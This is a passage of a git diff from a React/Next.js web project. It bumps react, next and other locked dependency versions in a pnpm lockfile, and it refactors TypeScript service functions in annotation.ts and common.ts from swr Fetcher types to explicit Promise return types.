-  react-scan@0.4.3(@types/react@19.2.7)(next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0))(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(rollup@2.79.2):
+  react-scan@0.4.3(@types/react@19.2.7)(next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0))(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(rollup@2.79.2):
     dependencies:
       '@babel/core': 7.28.5
       '@babel/generator': 7.28.5
       '@babel/types': 7.28.5
       '@clack/core': 0.3.5
       '@clack/prompts': 0.8.2
-      '@pivanov/utils': 0.0.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@pivanov/utils': 0.0.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@preact/signals': 1.3.2(preact@10.28.0)
       '@rollup/pluginutils': 5.3.0(rollup@2.79.2)
       '@types/node': 20.19.26
-      bippy: 0.3.34(@types/react@19.2.7)(react@19.2.1)
+      bippy: 0.3.34(@types/react@19.2.7)(react@19.2.3)
       esbuild: 0.25.12
       estree-walker: 3.0.3
       kleur: 4.1.5
       mri: 1.2.0
       playwright: 1.57.0
       preact: 10.28.0
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       tsx: 4.21.0
     optionalDependencies:
-      next: 15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0)
+      next: 15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0)
       unplugin: 2.1.0
     transitivePeerDependencies:
       - '@types/react'
       - rollup
       - supports-color
 
-  react-slider@2.0.6(react@19.2.1):
+  react-slider@2.0.6(react@19.2.3):
     dependencies:
       prop-types: 15.8.1
-      react: 19.2.1
+      react: 19.2.3
 
-  react-sortablejs@6.1.4(@types/sortablejs@1.15.9)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sortablejs@1.15.6):
+  react-sortablejs@6.1.4(@types/sortablejs@1.15.9)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sortablejs@1.15.6):
     dependencies:
       '@types/sortablejs': 1.15.9
       classnames: 2.3.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       sortablejs: 1.15.6
       tiny-invariant: 1.2.0
 
-  react-style-singleton@2.2.3(@types/react@19.2.7)(react@19.2.1):
+  react-style-singleton@2.2.3(@types/react@19.2.7)(react@19.2.3):
     dependencies:
       get-nonce: 1.0.1
-      react: 19.2.1
+      react: 19.2.3
       tslib: 2.8.1
     optionalDependencies:
       '@types/react': 19.2.7
 
-  react-syntax-highlighter@15.6.6(react@19.2.1):
+  react-syntax-highlighter@15.6.6(react@19.2.3):
     dependencies:
       '@babel/runtime': 7.28.4
       highlight.js: 10.7.3
       highlightjs-vue: 1.0.0
       lowlight: 1.20.0
       prismjs: 1.30.0
-      react: 19.2.1
+      react: 19.2.3
       refractor: 3.6.0
 
-  react-textarea-autosize@8.5.9(@types/react@19.2.7)(react@19.2.1):
+  react-textarea-autosize@8.5.9(@types/react@19.2.7)(react@19.2.3):
     dependencies:
       '@babel/runtime': 7.28.4
-      react: 19.2.1
-      use-composed-ref: 1.4.0(@types/react@19.2.7)(react@19.2.1)
-      use-latest: 1.3.0(@types/react@19.2.7)(react@19.2.1)
+      react: 19.2.3
+      use-composed-ref: 1.4.0(@types/react@19.2.7)(react@19.2.3)
+      use-latest: 1.3.0(@types/react@19.2.7)(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
 
-  react-window@1.8.11(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-window@1.8.11(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
       '@babel/runtime': 7.28.4
       memoize-one: 5.2.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  react@19.2.1: {}
+  react@19.2.3: {}
 
-  reactflow@11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  reactflow@11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      '@reactflow/background': 11.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@reactflow/controls': 11.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@reactflow/minimap': 11.7.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@reactflow/node-resizer': 2.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@reactflow/node-toolbar': 1.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@reactflow/background': 11.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@reactflow/controls': 11.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@reactflow/core': 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@reactflow/minimap': 11.7.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@reactflow/node-resizer': 2.2.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@reactflow/node-toolbar': 1.3.14(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - immer
@@ -17912,7 +17939,7 @@ snapshots:
 
   state-local@1.0.7: {}
 
-  storybook@9.1.13(@testing-library/dom@10.4.1):
+  storybook@9.1.17(@testing-library/dom@10.4.1):
     dependencies:
       '@storybook/global': 5.0.0
       '@testing-library/jest-dom': 6.9.1
@@ -18025,17 +18052,17 @@ snapshots:
     dependencies:
       inline-style-parser: 0.2.7
 
-  styled-jsx@5.1.6(@babel/core@7.28.5)(react@19.2.1):
+  styled-jsx@5.1.6(@babel/core@7.28.5)(react@19.2.3):
     dependencies:
       client-only: 0.0.1
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@babel/core': 7.28.5
 
-  styled-jsx@5.1.7(@babel/core@7.28.5)(react@19.2.1):
+  styled-jsx@5.1.7(@babel/core@7.28.5)(react@19.2.3):
     dependencies:
       client-only: 0.0.1
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@babel/core': 7.28.5
 
@@ -18061,11 +18088,11 @@ snapshots:
 
   supports-preserve-symlinks-flag@1.0.0: {}
 
-  swr@2.3.7(react@19.2.1):
+  swr@2.3.7(react@19.2.3):
     dependencies:
       dequal: 2.0.3
-      react: 19.2.1
-      use-sync-external-store: 1.6.0(react@19.2.1)
+      react: 19.2.3
+      use-sync-external-store: 1.6.0(react@19.2.3)
 
   synckit@0.11.11:
     dependencies:
@@ -18403,50 +18430,50 @@ snapshots:
       punycode: 1.4.1
       qs: 6.14.0
 
-  use-callback-ref@1.3.3(@types/react@19.2.7)(react@19.2.1):
+  use-callback-ref@1.3.3(@types/react@19.2.7)(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
       tslib: 2.8.1
     optionalDependencies:
       '@types/react': 19.2.7
 
-  use-composed-ref@1.4.0(@types/react@19.2.7)(react@19.2.1):
+  use-composed-ref@1.4.0(@types/react@19.2.7)(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  use-context-selector@2.0.0(react@19.2.1)(scheduler@0.26.0):
+  use-context-selector@2.0.0(react@19.2.3)(scheduler@0.26.0):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
       scheduler: 0.26.0
 
-  use-isomorphic-layout-effect@1.2.1(@types/react@19.2.7)(react@19.2.1):
+  use-isomorphic-layout-effect@1.2.1(@types/react@19.2.7)(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
       '@types/react': 19.2.7
 
-  use-latest@1.3.0(@types/react@19.2.7)(react@19.2.1):
+  use-latest@1.3.0(@types/react@19.2.7)(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      use-isomorphic-layout-effect: 1.2.1(@types/react@19.2.7)(react@19.2.1)
+      react: 19.2.3
+      use-isomorphic-layout-effect: 1.2.1(@types/react@19.2.7)(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
 
-  use-sidecar@1.1.3(@types/react@19.2.7)(react@19.2.1):
+  use-sidecar@1.1.3(@types/react@19.2.7)(react@19.2.3):
     dependencies:
       detect-node-es: 1.1.0
-      react: 19.2.1
+      react: 19.2.3
       tslib: 2.8.1
     optionalDependencies:
       '@types/react': 19.2.7
 
   use-strict@1.0.1: {}
 
-  use-sync-external-store@1.6.0(react@19.2.1):
+  use-sync-external-store@1.6.0(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
 
   util-deprecate@1.0.2: {}
 
@@ -18806,7 +18833,7 @@ snapshots:
 
   yjs@13.6.27:
     dependencies:
-      lib0: 0.2.114
+      lib0: 0.2.115
 
   yn@3.1.1: {}
 
@@ -18829,23 +18856,23 @@ snapshots:
     dependencies:
       tslib: 2.3.0
 
-  zundo@2.3.0(zustand@5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)(use-sync-external-store@1.6.0(react@19.2.1))):
+  zundo@2.3.0(zustand@5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)(use-sync-external-store@1.6.0(react@19.2.3))):
     dependencies:
-      zustand: 5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)(use-sync-external-store@1.6.0(react@19.2.1))
+      zustand: 5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)(use-sync-external-store@1.6.0(react@19.2.3))
 
-  zustand@4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1):
+  zustand@4.5.7(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3):
     dependencies:
-      use-sync-external-store: 1.6.0(react@19.2.1)
+      use-sync-external-store: 1.6.0(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       immer: 10.2.0
-      react: 19.2.1
+      react: 19.2.3
 
-  zustand@5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)(use-sync-external-store@1.6.0(react@19.2.1)):
+  zustand@5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)(use-sync-external-store@1.6.0(react@19.2.3)):
     optionalDependencies:
       '@types/react': 19.2.7
       immer: 10.2.0
-      react: 19.2.1
-      use-sync-external-store: 1.6.0(react@19.2.1)
+      react: 19.2.3
+      use-sync-external-store: 1.6.0(react@19.2.3)
 
   zwitch@2.0.4: {}
diff --git a/web/service/annotation.ts b/web/service/annotation.ts
index 58efb7b976..af708fe174 100644
--- a/web/service/annotation.ts
+++ b/web/service/annotation.ts
@@ -1,6 +1,6 @@
 import type { Fetcher } from 'swr'
 import { del, get, post } from './base'
-import type { AnnotationEnableStatus, AnnotationItemBasic, EmbeddingModelConfig } from '@/app/components/app/annotation/type'
+import type { AnnotationCreateResponse, AnnotationEnableStatus, AnnotationItemBasic, EmbeddingModelConfig } from '@/app/components/app/annotation/type'
 import { ANNOTATION_DEFAULT } from '@/config'
 
 export const fetchAnnotationConfig = (appId: string) => {
@@ -41,7 +41,7 @@ export const fetchExportAnnotationList = (appId: string) => {
 }
 
 export const addAnnotation = (appId: string, body: AnnotationItemBasic) => {
-  return post(`apps/${appId}/annotations`, { body })
+  return post<AnnotationCreateResponse>(`apps/${appId}/annotations`, { body })
 }
 
 export const annotationBatchImport: Fetcher<{ job_id: string; job_status: string }, { url: string; body: FormData }> = ({ url, body }) => {
diff --git a/web/service/common.ts b/web/service/common.ts
index 7a092a6a24..1793675bc5 100644
--- a/web/service/common.ts
+++ b/web/service/common.ts
@@ -1,4 +1,3 @@
-import type { Fetcher } from 'swr'
 import { del, get, patch, post, put } from './base'
 import type {
   AccountIntegrate,
@@ -49,145 +48,145 @@ type LoginFail = {
   message: string
 }
 type LoginResponse = LoginSuccess | LoginFail
-export const login: Fetcher<LoginResponse, { url: string; body: Record<string, any> }> = ({ url, body }) => {
-  return post(url, { body }) as Promise<LoginResponse>
+export const login = ({ url, body }: { url: string; body: Record<string, any> }): Promise<LoginResponse> => {
+  return post<LoginResponse>(url, { body })
 }
-export const webAppLogin: Fetcher<LoginResponse, { url: string; body: Record<string, any> }> = ({ url, body }) => {
-  return post(url, { body }, { isPublicAPI: true }) as Promise<LoginResponse>
+export const webAppLogin = ({ url, body }: { url: string; body: Record<string, any> }): Promise<LoginResponse> => {
+  return post<LoginResponse>(url, { body }, { isPublicAPI: true })
 }
 
-export const setup: Fetcher<CommonResponse, { body: Record<string, any> }> = ({ body }) => {
+export const setup = ({ body }: { body: Record<string, any> }): Promise<CommonResponse> => {
   return post<CommonResponse>('/setup', { body })
 }
 
-export const initValidate: Fetcher<CommonResponse, { body: Record<string, any> }> = ({ body }) => {
+export const initValidate = ({ body }: { body: Record<string, any> }): Promise<CommonResponse> => {
   return post<CommonResponse>('/init', { body })
 }
 
-export const fetchInitValidateStatus = () => {
+export const fetchInitValidateStatus = (): Promise<InitValidateStatusResponse> => {
   return get<InitValidateStatusResponse>('/init')
 }
 
-export const fetchSetupStatus = () => {
+export const fetchSetupStatus = (): Promise<SetupStatusResponse> => {
   return get<SetupStatusResponse>('/setup')
 }
 
-export const fetchUserProfile: Fetcher<UserProfileOriginResponse, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchUserProfile = ({ url, params }: { url: string; params: Record<string, any> }): Promise<UserProfileOriginResponse> => {
   return get<UserProfileOriginResponse>(url, params, { needAllResponseContent: true })
 }
 
-export const updateUserProfile: Fetcher<CommonResponse, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const updateUserProfile = ({ url, body }: { url: string; body: Record<string, any> }): Promise<CommonResponse> => {
   return post<CommonResponse>(url, { body })
 }
 
-export const fetchLangGeniusVersion: Fetcher<LangGeniusVersionResponse, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchLangGeniusVersion = ({ url, params }: { url: string; params: Record<string, any> }): Promise<LangGeniusVersionResponse> => {
   return get<LangGeniusVersionResponse>(url, { params })
 }
 
-export const oauth: Fetcher<OauthResponse, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const oauth = ({ url, params }: { url: string; params: Record<string, any> }): Promise<OauthResponse> => {
   return get<OauthResponse>(url, { params })
 }
 
-export const oneMoreStep: Fetcher<CommonResponse, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const oneMoreStep = ({ url, body }: { url: string; body: Record<string, any> }): Promise<CommonResponse> => {
   return post<CommonResponse>(url, { body })
 }
 
-export const fetchMembers: Fetcher<{ accounts: Member[] | null }, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchMembers = ({ url, params }: { url: string; params: Record<string, any> }): Promise<{ accounts: Member[] | null }> => {
   return get<{ accounts: Member[] | null }>(url, { params })
 }
 
-export const fetchProviders: Fetcher<Provider[] | null, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchProviders = ({ url, params }: { url: string; params: Record<string, any> }): Promise<Provider[] | null> => {
   return get<Provider[] | null>(url, { params })
 }
 
-export const validateProviderKey: Fetcher<ValidateOpenAIKeyResponse, { url: string; body: { token: string } }> = ({ url, body }) => {
+export const validateProviderKey = ({ url, body }: { url: string; body: { token: string } }): Promise<ValidateOpenAIKeyResponse> => {
   return post<ValidateOpenAIKeyResponse>(url, { body })
 }
-export const updateProviderAIKey: Fetcher<UpdateOpenAIKeyResponse, { url: string; body: { token: string | ProviderAzureToken | ProviderAnthropicToken } }> = ({ url, body }) => {
+export const updateProviderAIKey = ({ url, body }: { url: string; body: { token: string | ProviderAzureToken | ProviderAnthropicToken } }): Promise<UpdateOpenAIKeyResponse> => {
   return post<UpdateOpenAIKeyResponse>(url, { body })
 }
 
-export const fetchAccountIntegrates: Fetcher<{ data: AccountIntegrate[] | null }, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchAccountIntegrates = ({ url, params }: { url: string; params: Record<string, any> }): Promise<{ data: AccountIntegrate[] | null }> => {
   return get<{ data: AccountIntegrate[] | null }>(url, { params })
 }
 
-export const inviteMember: Fetcher<InvitationResponse, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const inviteMember = ({ url, body }: { url: string; body: Record<string, any> }): Promise<InvitationResponse> => {
   return post<InvitationResponse>(url, { body })
 }
 
-export const updateMemberRole: Fetcher<CommonResponse, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const updateMemberRole = ({ url, body }: { url: string; body: Record<string, any> }): Promise<CommonResponse> => {
   return put<CommonResponse>(url, { body })
 }
 
-export const deleteMemberOrCancelInvitation: Fetcher<CommonResponse, { url: string }> = ({ url }) => {
+export const deleteMemberOrCancelInvitation = ({ url }: { url: string }): Promise<CommonResponse> => {
   return del<CommonResponse>(url)
 }
 
-export const sendOwnerEmail = (body: { language?: string }) =>
+export const sendOwnerEmail = (body: { language?: string }): Promise<CommonResponse & { data: string }> =>
   post<CommonResponse & { data: string }>('/workspaces/current/members/send-owner-transfer-confirm-email', { body })
 
-export const verifyOwnerEmail = (body: { code: string; token: string }) =>
+export const verifyOwnerEmail = (body: { code: string; token: string }): Promise<CommonResponse & { is_valid: boolean; email: string; token: string }> =>
   post<CommonResponse & { is_valid: boolean; email: string; token: string }>('/workspaces/current/members/owner-transfer-check', { body })
 
-export const ownershipTransfer = (memberID: string, body: { token: string }) =>
+export const ownershipTransfer = (memberID: string, body: { token: string }): Promise<CommonResponse & { is_valid: boolean; email: string; token: string }> =>
   post<CommonResponse & { is_valid: boolean; email: string; token: string }>(`/workspaces/current/members/${memberID}/owner-transfer`, { body })
 
-export const fetchFilePreview: Fetcher<{ content: string }, { fileID: string }> = ({ fileID }) => {
+export const fetchFilePreview = ({ fileID }: { fileID: string }): Promise<{ content: string }> => {
   return get<{ content: string }>(`/files/${fileID}/preview`)
 }
 
-export const fetchCurrentWorkspace: Fetcher<ICurrentWorkspace, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchCurrentWorkspace = ({ url, params }: { url: string; params: Record<string, any> }): Promise<ICurrentWorkspace> => {
   return post<ICurrentWorkspace>(url, { body: params })
 }
 
-export const updateCurrentWorkspace: Fetcher<ICurrentWorkspace, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const updateCurrentWorkspace = ({ url, body }: { url: string; body: Record<string, any> }): Promise<ICurrentWorkspace> => {
   return post<ICurrentWorkspace>(url, { body })
 }
 
-export const fetchWorkspaces: Fetcher<{ workspaces: IWorkspace[] }, { url: string; params: Record<string, any> }> = ({ url, params }) => {
+export const fetchWorkspaces = ({ url, params }: { url: string; params: Record<string, any> }): Promise<{ workspaces: IWorkspace[] }> => {
   return get<{ workspaces: IWorkspace[] }>(url, { params })
 }
 
-export const switchWorkspace: Fetcher<CommonResponse & { new_tenant: IWorkspace }, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const switchWorkspace = ({ url, body }: { url: string; body: Record<string, any> }): Promise<CommonResponse & { new_tenant: IWorkspace }> => {
   return post<CommonResponse & { new_tenant: IWorkspace }>(url, { body })
 }
 
-export const updateWorkspaceInfo: Fetcher<ICurrentWorkspace, { url: string; body: Record<string, any> }> = ({ url, body }) => {
+export const updateWorkspaceInfo = ({ url, body }: { url: string; body: Record<string, any> }): Promise<ICurrentWorkspace> => {
   return post<ICurrentWorkspace>(url, { body })
 }
 
-export const fetchDataSource: Fetcher<{ data: DataSourceNotion[] }, { url: string }> = ({ url }) => {
+export const fetchDataSource = ({ url }: { url: string }): Promise<{ data: DataSourceNotion[] }> => {
   return get<{ data: DataSourceNotion[] }>(url)
 }
 
-export const syncDataSourceNotion: Fetcher<CommonResponse, { url: string }> = ({ url }) => {
+export const syncDataSourceNotion = ({ url }: { url: string }): Promise<CommonResponse> => {
   return get<CommonResponse>(url)
 }
 
-export const updateDataSourceNotionAction: Fetcher<CommonResponse, { url: string }> = ({ url }) => {
+export const updateDataSourceNotionAction = ({ url }: { url: string }): Promise<CommonResponse> => {
   return patch<CommonResponse>(url)
 }
 
-export const fetchPluginProviders: Fetcher<PluginProvider[] | null, string> = (url) => {
+export const fetchPluginProviders = (url: string): Promise<PluginProvider[] | null> => {
   return get<PluginProvider[] | null>(url)
 }
 
-export const validatePluginProviderKey: Fetcher<ValidateOpenAIKeyResponse, { url: string; body: { credentials: any } }> = ({ url, body }) => {
+export const validatePluginProviderKey = ({ url, body }: { url: string; body: { credentials: any } }): Promise<ValidateOpenAIKeyResponse> => {
   return post<ValidateOpenAIKeyResponse>(url, { body })
 }
-export const updatePluginProviderAIKey: Fetcher<UpdateOpenAIKeyResponse, { url: string; body: { credentials: any } }> = ({ url, body }) => {
+export const updatePluginProviderAIKey = ({ url, body }: { url: string; body: { credentials: any } }): Promise<UpdateOpenAIKeyResponse> => {
   return post<UpdateOpenAIKeyResponse>(url, { body })
 }
 
-export const invitationCheck: Fetcher<CommonResponse & { is_valid: boolean; data: { workspace_name: string; email: string; workspace_id: string } }, { url: string; params: { workspace_id?: string; email?: string; token: string } }> = ({ url, params }) => {
+export const invitationCheck = ({ url, params }: { url: string; params: { workspace_id?: string; email?: string; token: string } }): Promise<CommonResponse & { is_valid: boolean; data: { workspace_name: string; email: string; workspace_id: string } }> => {
   return get<CommonResponse & { is_valid: boolean; data: { workspace_name: string; email: string; workspace_id: string } }>(url, { params })
 }
 
-export const activateMember: Fetcher<LoginResponse, { url: string; body: any }> = ({ url, body }) => {
+export const activateMember = ({ url, body }: { url: string; body: any }): Promise<LoginResponse> => {
   return post<LoginResponse>(url, { body })
 }
 
-export const fetchModelProviders: Fetcher<{ data: ModelProvider[] }, string> = (url) => {
+export const fetchModelProviders = (url: string): Promise<{ data: ModelProvider[] }> => {
   return get<{ data: ModelProvider[] }>(url)
 }
 
@@ -195,197 +194,197 @@ export type ModelProviderCredentials = {
   credentials?: Record<string, string | undefined | boolean>
   load_balancing: ModelLoadBalancingConfig
 }
-export const fetchModelProviderCredentials: Fetcher<ModelProviderCredentials, string> = (url) => {
+export const fetchModelProviderCredentials = (url: string): Promise<ModelProviderCredentials> => {
   return get<ModelProviderCredentials>(url)
 }
 
-export const fetchModelLoadBalancingConfig: Fetcher<{
+export const fetchModelLoadBalancingConfig = (url: string): Promise<{
   credentials?: Record<string, string | undefined | boolean>
   load_balancing: ModelLoadBalancingConfig
-}, string> = (url) => {
+}> => {
   return get<{
     credentials?: Record<string, string | undefined | boolean>
     load_balancing: ModelLoadBalancingConfig
   }>(url)
 }
 
-export const fetchModelProviderModelList: Fetcher<{ data: ModelItem[] }, string> = (url) => {
+export const fetchModelProviderModelList = (url: string): Promise<{ data: ModelItem[] }> => {
   return get<{ data: ModelItem[] }>(url)
 }
 
-export const fetchModelList: Fetcher<{ data: Model[] }, string> = (url) => {
+export const fetchModelList = (url: string): Promise<{ data: Model[] }> => {
   return get<{ data: Model[] }>(url)
 }
 
-export const validateModelProvider: Fetcher<ValidateOpenAIKeyResponse, { url: string; body: any }> = ({ url, body }) => {
+export const validateModelProvider = ({ url, body }: { url: string; body: any }): Promise<ValidateOpenAIKeyResponse> => {
   return post<ValidateOpenAIKeyResponse>(url, { body })
 }
 
-export const validateModelLoadBalancingCredentials: Fetcher<ValidateOpenAIKeyResponse, { url: string; body: any }> = ({ url, body }) => {
+export const validateModelLoadBalancingCredentials = ({ url, body }: { url: string; body: any }): Promise<ValidateOpenAIKeyResponse> => {
   return post<ValidateOpenAIKeyResponse>(url, { body })
 }
 
-export const setModelProvider: Fetcher<CommonResponse, { url: string; body: any }> = ({ url, body }) => {
+export const setModelProvider = ({ url, body }: { url: string; body: any }): Promise<CommonResponse> => {
   return post<CommonResponse>(url, { body })
 }
 
-export const deleteModelProvider: Fetcher<CommonResponse, { url: string; body?: any }> = ({ url, body }) => {
+export const deleteModelProvider = ({ url, body }: { url: string; body?: any }): Promise<CommonResponse> => {
   return del<CommonResponse>(url, { body })
 }
 
-export const changeModelProviderPriority: Fetcher<CommonResponse, { url: string; body: any }> = ({ url, body }) => {
+export const changeModelProviderPriority = ({ url, body }: { url: string; body: any }): Promise<CommonResponse> => {
   return post<CommonResponse>(url, { body })
 }
 
-export const setModelProviderModel: Fetcher<CommonResponse, { url: string; body: any }> = ({ url, body }) => {
+export const setModelProviderModel = ({ url, body }: { url: string; body: any }): Promise<CommonResponse> => {
   return post<CommonResponse>(url, { body })
 }
 
-export const deleteModelProviderModel: Fetcher<CommonResponse, { url: string }> = ({ url }) => {
+export const deleteModelProviderModel = ({ url }: { url: string }): Promise<CommonResponse> => {
   return del<CommonResponse>(url)
 }
 
-export const getPayUrl: Fetcher<{ url: string }, string> = (url) => {
+export const getPayUrl = (url: string): Promise<{ url: string }> => {
   return get<{ url: string }>(url)
 }
 
-export const fetchDefaultModal: Fetcher<{ data: DefaultModelResponse }, string> = (url) => {
+export const fetchDefaultModal = (url: string): Promise<{ data: DefaultModelResponse }> => {
   return get<{ data: DefaultModelResponse }>(url)
 }
 
-export const updateDefaultModel: Fetcher<CommonResponse, { url: string; body: any }> = ({ url, body }) => {
+export const updateDefaultModel = ({ url, body }: { url: string; body: any }): Promise<CommonResponse> => {
   return post<CommonResponse>(url, { body })
 }
 
-export const fetchModelParameterRules: Fetcher<{ data: ModelParameterRule[] }, string> = (url) => {
+export const fetchModelParameterRules = (url: string): Promise<{ data: ModelParameterRule[] }> => {
   return get<{ data: ModelParameterRule[] }>(url)
 }
 
-export const fetchFileUploadConfig: Fetcher<FileUploadConfigResponse, { url: string }> = ({ url }) => {
+export const fetchFileUploadConfig = ({ url }: { url: string }): Promise<FileUploadConfigResponse> => {
   return get<FileUploadConfigResponse>(url)
 }
 
-export const fetchNotionConnection: Fetcher<{ data: string }, string> = (url) => {
-  return get(url) as Promise<{ data: string }>
+export const fetchNotionConnection = (url: string): Promise<{ data: string }> => {
+  return get<{ data: string }>(url)
 }
 
-export const fetchDataSourceNotionBinding: Fetcher<{ result: string }, string> = (url) => {
-  return get(url) as Promise<{ result: string }>
+export const fetchDataSourceNotionBinding = (url: string): Promise<{ result: string }> => {
+  return get<{ result: string }>(url)
 }
 
-export const fetchApiBasedExtensionList: Fetcher<ApiBasedExtension[], string> = (url) => {
-  return get(url) as Promise<ApiBasedExtension[]>
+export const fetchApiBasedExtensionList = (url: string): Promise<ApiBasedExtension[]> => {
+  return get<ApiBasedExtension[]>(url)
 }
 
-export const fetchApiBasedExtensionDetail: Fetcher<ApiBasedExtension, string> = (url) => {
-  return get(url) as Promise<ApiBasedExtension>
+export const fetchApiBasedExtensionDetail = (url: string): Promise<ApiBasedExtension> => {
+  return get<ApiBasedExtension>(url)
 }
 
-export const addApiBasedExtension: Fetcher<ApiBasedExtension, { url: string; body: ApiBasedExtension }> = ({ url, body }) => {
-  return post(url, { body }) as Promise<ApiBasedExtension>
+export const addApiBasedExtension = ({ url, body }: { url: string; body: ApiBasedExtension }): Promise<ApiBasedExtension> => {
+  return post<ApiBasedExtension>(url, { body })
 }
 
-export const updateApiBasedExtension: Fetcher<ApiBasedExtension, { url: string; body: ApiBasedExtension }> = ({ url, body }) => {
-  return post(url, { body }) as Promise<ApiBasedExtension>
+export const updateApiBasedExtension = ({ url, body }: { url: string; body: ApiBasedExtension }): Promise<ApiBasedExtension> => {
+  return post<ApiBasedExtension>(url, { body })
 }
 
-export const deleteApiBasedExtension: Fetcher<{ result: string }, string> = (url) => {
-  return del(url) as Promise<{ result: string }>
+export const deleteApiBasedExtension = (url: string): Promise<{ result: string }> => {
+  return del<{ result: string }>(url)
 }
 
-export const fetchCodeBasedExtensionList: Fetcher<CodeBasedExtension, string> = (url) => {
-  return get(url) as Promise<CodeBasedExtension>
+export const fetchCodeBasedExtensionList = (url: string): Promise<CodeBasedExtension> => {
+  return get<CodeBasedExtension>(url)
 }
 
-export const moderate = (url: string, body: { app_id: string; text: string }) => {
-  return post(url, { body }) as Promise<ModerateResponse>
+export const moderate = (url: string, body: { app_id: string; text: string }): Promise<ModerateResponse> => {
+  return post<ModerateResponse>(url, { body })
 }
 
 type RetrievalMethodsRes = {
   retrieval_method: RETRIEVE_METHOD[]
 }
-export const fetchSupportRetrievalMethods: Fetcher<RetrievalMethodsRes, string> = (url) => {
+export const fetchSupportRetrievalMethods = (url: string): Promise<RetrievalMethodsRes> => {
   return get<RetrievalMethodsRes>(url)
 }
 
-export const getSystemFeatures = () => {
+export const getSystemFeatures = (): Promise<SystemFeatures> => {
   return get<SystemFeatures>('/system-features')
 }
 
-export const enableModel = (url: string, body: { model: string; model_type: ModelTypeEnum }) =>
